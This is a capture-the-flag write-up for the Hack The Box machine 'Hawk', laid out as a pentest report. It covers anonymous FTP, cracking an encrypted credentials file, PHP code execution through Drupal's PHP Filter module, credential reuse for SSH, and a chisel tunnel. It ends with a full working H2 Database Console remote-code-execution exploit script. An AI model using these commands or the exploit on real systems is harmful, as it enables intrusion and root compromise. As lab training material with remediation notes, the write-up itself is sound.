Hack The Box Hawk Writeup (Medium Linux)
Medium Linux box. Anonymous FTP holds an encrypted file that cracks to the Drupal admin password, the PHP filter module runs code, and H2 Console gives root.
Summary
Hawk runs Drupal 7.58, a version the CHANGELOG.txt file happily confirms, alongside an FTP service that still allows anonymous login. That share holds .drupal.txt.enc, which decodes from base64 and then falls to bruteforce-salted-openssl with the passphrase friends, revealing the Drupal admin password PencilKeyboardScanner123. Logged in as admin, enabling the PHP Filter module and previewing a page whose body is PHP code gives execution on the host. Grepping the Drupal settings.php files turns up the database password, which daniel reuses for SSH, and escaping the restricted python shell gives a normal bash session. Finally, chisel tunnels the locally bound H2 Database Console on port 8082 back to the attacker, and a public exploit against H2 1.4.196 returns root.
Executive Summary
Introduction
This document shows the results of a security assessment performed on the Hawk machine (IP: 10.10.10.102). The report provides a comprehensive analysis of the findings, including vulnerability explanations, severity ratings, and steps to reproduce the identified vulnerabilities.
Objective
The assessment sought to identify vulnerabilities that could potentially lead to unauthorized access, data compromise, or privilege escalation. By conducting controlled exploitation scenarios, the assessment aimed to highlight the impact of these vulnerabilities and provide actionable recommendations for remediation.
Requirements
The assessment was conducted with the following requirements in mind:
Identify vulnerabilities within the Drupal CMS installation.
Exploit vulnerabilities to demonstrate potential impact.
Assess the effectiveness of access controls and authentication mechanisms.
Demonstrate privilege escalation from user-level to root.
Provide detailed vulnerability explanations, severity ratings, and remediation recommendations.
High-Level Summary
The assessment uncovered several vulnerabilities within the Hawk machine:
Information Disclosure via CHANGELOG.txt (Medium Severity)
Sensitive Path Disclosure via robots.txt (Low Severity)
User Enumeration via Password Reset Error Message (Medium Severity)
Credentials Exposed via
.drupal.txt.encDecryption (High Severity)Initial Access via PHP Filter Module on Drupal CMS (Critical Severity)
Cleartext Credentials Disclosure that led to LPE to “daniel” user (High Severity)
Outdated software that led to LPE to root - H2 Database Console (Critical Severity)
Detailed Findings
Detailed vulnerability explanations, vulnerability fixes, severity ratings, and steps to reproduce the identified vulnerabilities are documented in “Independent Challenge” section.
Recommendations
Based on the assessment findings, the following recommendations are advised to enhance the security posture of the Hawk machine:
CMS Security: Disable unnecessary modules, such as the PHP Filter Module, to reduce attack surface. Conduct a review of user permissions to prevent unauthorized code execution.
Insecure Practices Related to Credentials: Enforce strong password policies and avoid password reuse, and review and improve the encryption and storage of sensitive files containing credentials.
FTP Security: Implement proper access controls for the FTP service.
Update H2 Database Console: Regularly update H2 Database to the latest version to mitigate known vulnerabilities.
Methodology
Behind Security’s penetration test followed a comprehensive and structured methodology, incorporating the following key phases:
Reconnaissance: The initial phase involved gathering information about open ports.
Enumeration: In this phase, Behind Security conducted an in-depth enumeration of the target system, identifying exposed services, web server directories, and potential entry points for further analysis.
Vulnerability Assessment: Automated scanning tools and manual techniques were employed to identify potential security vulnerabilities in the web application and server configuration.
Exploitation: Vulnerabilities that posed significant risks were further exploited to verify their impact on the system’s security.
Post-Exploitation: In the final phase, Behind Security attempted to escalate privileges and gain deeper access to the system, simulating real-world attack scenarios.
Color Legend
1
2
3
4
5
6
7
<code style="color: #a6a6a6;">Standard console text</code>
<br>
<code style="color: #99cc00;">Commands inputted by the pentester</code>
<br>
<code style="color: #ff0000;">Text that we want to highlight</code>
<br>
<code style="color: #ed7d31;">{...} Abbreviated output for brevity</code>
Risk Classification
- Image
Independent Challenge - 10.10.10.102
Service Enumeration
| IP Address | Ports Open |
|---|---|
| 10.10.10.102 | TCP: 21, 22, 80, 5435, 8082, 9092 |
Web Server Enumeration (TCP: 80)
Running Apache httpd 2.4.29. CHANGELOG.txt file discloses Drupal’s version, 7.58.
CMS Enumeration
The droopescan tool identified plugins, themes, and possible version information, including the default admin login URL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/home/kali/.local/bin/droopescan scan drupal -u http://10.10.10.102
[+] Plugins found:
profile http://10.10.10.102/modules/profile/
php http://10.10.10.102/modules/php/
image http://10.10.10.102/modules/image/
[+] Themes found:
seven http://10.10.10.102/themes/seven/
garland http://10.10.10.102/themes/garland/
[+] Possible version(s):
7.58
[+] Possible interesting urls found:
Default changelog file - http://10.10.10.102/CHANGELOG.txt
Default admin - http://10.10.10.102/user/login
[+] Scan finished (0:02:57.891461 elapsed)
Username enumeration
Vulnerability Explanation: The web application’s error message during a password reset request exposes valid usernames on the system. This provides attackers with a list of valid accounts, facilitating targeted attacks.
Vulnerability Fix: Modify the error message to avoid disclosing valid usernames. Implement proper error handling and validation.
Severity: Medium
Steps to Reproduce the Finding:
Run the command:
wfuzz -d "name=FUZZ&form_build_id=form-0SR6gkn5bmPLfm6PeBEdlOna5oOMAsN2YUFI21ja-iM&form_id=user_pass&op=E-mail+new+password" -w /usr/share/seclists/Usernames/Names/names.txt -H "Content-Type: application/x-www-form-urlencoded" --hc 200 http://10.10.10.102/user/passwordAnalyze the responses to identify valid usernames.
FTP Enumeration (TCP: 21)
Anonymous Login and Data Leakage
Vulnerability Explanation: Anonymous login is enabled on the FTP server, allowing unauthorized access. An encrypted file .drupal.txt.enc containing potentially sensitive data was discovered. After downloading the file, Behind Security was able to crack it using a tool named “bruteforce-salted-openssl” and reveal the credentials for the admin user of Drupal CMS.
Vulnerability Fix: Disable anonymous FTP login. Review and improve the encryption and storage of sensitive files.
Severity: High
Steps to Reproduce the Attack:
Log into the FTP server by leveraging the anonymous login capability. To do so, type the command
ftp anonymous@10.10.10.102and press enter when prompted for password.Download the encrypted file at
messages/.drupal.txt.enc.Decode from base64 and save to another file by running the command:
cat .drupal.txt.enc | base64 -d > drupal.txtLocally, crack the decryption password using the command:
bruteforce-salted-openssl -f /usr/share/wordlists/rockyou.txt -d SHA256 -t 5 drupal.txtAfter retrieving the decryption password (
friends), use it to retrieve the contents of the file. The command is:openssl enc -aes-256-cbc -d -in drupal.txt -out decrypted.txt -k friends.Now you can log in as admin using the password
PencilKeyboardScanner123to Drupal CMS on port 80.
Initial Access - Tricking the CMS to Execute Malicious PHP Code
Vulnerability Explanation: Behind Security gained access to the Drupal CMS as an admin and exploited the PHP Filter Module to execute malicious PHP code.
Vulnerability Fix: Disable the PHP Filter Module altogether and conduct a thorough review of user permissions to prevent unauthorized code execution.
Severity: Critical
Steps to Reproduce the Attack:
Log in as admin with the previously discovered password.
Go to Modules -> (Check) PHP Filter -> Save configuration.
Then, Add content -> Select Basic Page or Article and insert malicious php code in the body.
Select PHP code in Text format and then select Preview.
Post-Exploitation
Privilege Escalation to “daniel”
Vulnerability Explanation: Behind Security conducted further enumeration and discovered credentials for a user named “daniel” by analyzing configuration files related to Drupal CMS.
Vulnerability Fix: Enforce unique and strong credentials for each user account. Avoid reusing passwords across different services.
Severity: High
Steps to Reproduce the Attack:
The attacker executed the following command:
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/nullThe credentials for the user “daniel” were identified.
Behind Security was able to log in via SSH as
daniel@10.10.10.102, specifying the password:drupal4hawk
Finding:
1
2
3
4
5
'database' => 'drupal',
'username' => 'drupal',
'password' => 'drupal4hawk',
$drupal_hash_salt = 'LrDo0zR-UKwhAUPsDYm5qD-RaI-Llu5kJM8XLF8ZYpg';
Escaping the python interpreter:
1
import os; os.system("/bin/bash -i")
Privilege Escalation to root
Vulnerability Explanation: Behind Security established a TCP tunnel using the tool “chisel” and exploited a vulnerability in the H2 Database version 1.4.196 to gain root access.
Vulnerability Fix: Regularly update and patch software components, including databases, to fix known vulnerabilities.
Severity: Critical
Steps to Reproduce the Attack:
The attacker established a TCP tunnel between their machine and the victim machine using the tool “chisel”:
./chisel server -p 1337 --reverse --socks5 &(attacker) and./chisel client 10.10.14.38:1337 R:socks &(victim).The attacker accessed the H2 Database Console (
localhost:8082) through the tunnel.The attacker exploited the H2 Database vulnerability using an exploit script
45506.pyprovided below to achieve root access. The command used during the engagement was:proxychains4 python 45506.py -H localhost:8082
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python
'''
Exploit Title: Unauthenticated RCE
Date: 2018/09/24
Exploit Author: h4ckNinja
Vendor: http://www.h2database.com/
Version: all versions
Tested on: Linux, Mac
Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one.
Modified from: https://www.exploit-db.com/exploits/44422/
'''
import random
import string
import sys
import argparse
import html
import requests
def getSession(host):
url = 'http://{}'.format(host)
r = requests.get(url)
path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do')
return '{}/{}'.format(url, path)
def login(url, database):
data = {
'language': 'en',
'setting': 'Generic H2 (Embedded)',
'name': 'Generic H2 (Embedded)',
'driver': 'org.h2.Driver',
'url': database,
'user': 'sa',
'password': ''
}
print('[*] Attempting to create database')
r = requests.post(url, data=data)
if '<th class="login">Login</th>' in r.text:
return False
print('[+] Created database and logged in')
return True
def prepare(url):
cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;'''
url = url.replace('login', 'query')
print('[*] Sending stage 1')
r = requests.post(url, data={'sql': cmd})
if not 'NullPointerException' in r.text:
print('[+] Shell succeeded - ^c or quit to exit')
return url
return False
def execve(url, cmd):
r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})
try:
execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace(' ',' ')).encode('utf-8').decode('utf-8','ignore')
print(execHTML)
except Exception as e:
print('[-] Invalid command (' + str(e) + ')')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5))
parser.add_argument('-H',
'--host',
dest='host',
metavar='127.0.0.1:8082',
help='Specify a host',
required=True)
parser.add_argument('-d',
'--database-url',
dest='database',
metavar='jdbc:h2:~/emptydb-' + randString,
default='jdbc:h2:~/emptydb-' + randString,
help='Database URL',
required=False)
args = parser.parse_args()
url = getSession(args.host)
if login(url, args.database):
success = prepare(url)
if success:
while True:
try:
cmd = input('h2-shell$ ')
if 'quit' not in cmd:
execve(success, cmd)
else:
print('[+] Shutting down')
sys.exit(0)
except KeyboardInterrupt:
print()
print('[+] Shutting down')
sys.exit(0)
else:
print('[-] Something went wrong injecting the payload.')
else:
print('[-] Unable to login')